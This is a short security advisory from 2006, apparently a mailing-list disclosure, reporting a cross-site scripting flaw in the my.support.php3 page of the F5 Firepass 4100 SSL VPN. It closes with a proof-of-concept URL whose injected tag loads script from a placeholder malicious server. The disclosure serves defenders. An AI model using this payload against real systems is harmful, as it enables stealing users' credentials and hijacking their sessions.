XSS in Firepass 4100 SSL VPN v.5.4.2 (and probably others)

[alfy () coders ch]

Vulnerability class : Cross-Site Scripting
Discovery date : 2nd of February 2006
Remote : Yes
Local : No
Credit : ILION Research Labs, Geneva Switzerland
Vulnerable : F5 Firepass 4100 SSL VPN v. 5.4.2

A XSS (Cross-Site-Scripting) vulnerability has been uncovered in my.support.php3 called through a Web browser on the F5 
Firepass 4100 SSL VPN. 

This allows an attacker to submit a crafted link to users of the vulnerable Web application in order to abuse their 
trust and steal their authentication credentials or hijack their sessions.

Trust abuse can be complete since the SSL certificate can appear as vouching for the trustworthiness of the website 
while the page actually displayed is hosted on a malicious third-party server (this can be done by using the <iframe> 
tag of IE for example).

Proof-of-concept exploit :

https://www.vulnerable_server.com/my.support.php3?c=1&s=username</title><img
src=http://MALICIOUS_SERVER.COM/EXPLOIT.JS>&lang=en&charset=iso-8859-
1&uilangchar=en.iso-8859-1

where http://MALICIOUS_SERVER.COM/EXPLOIT.JS is a malicious JavaScript interpreted by the victim's navigator.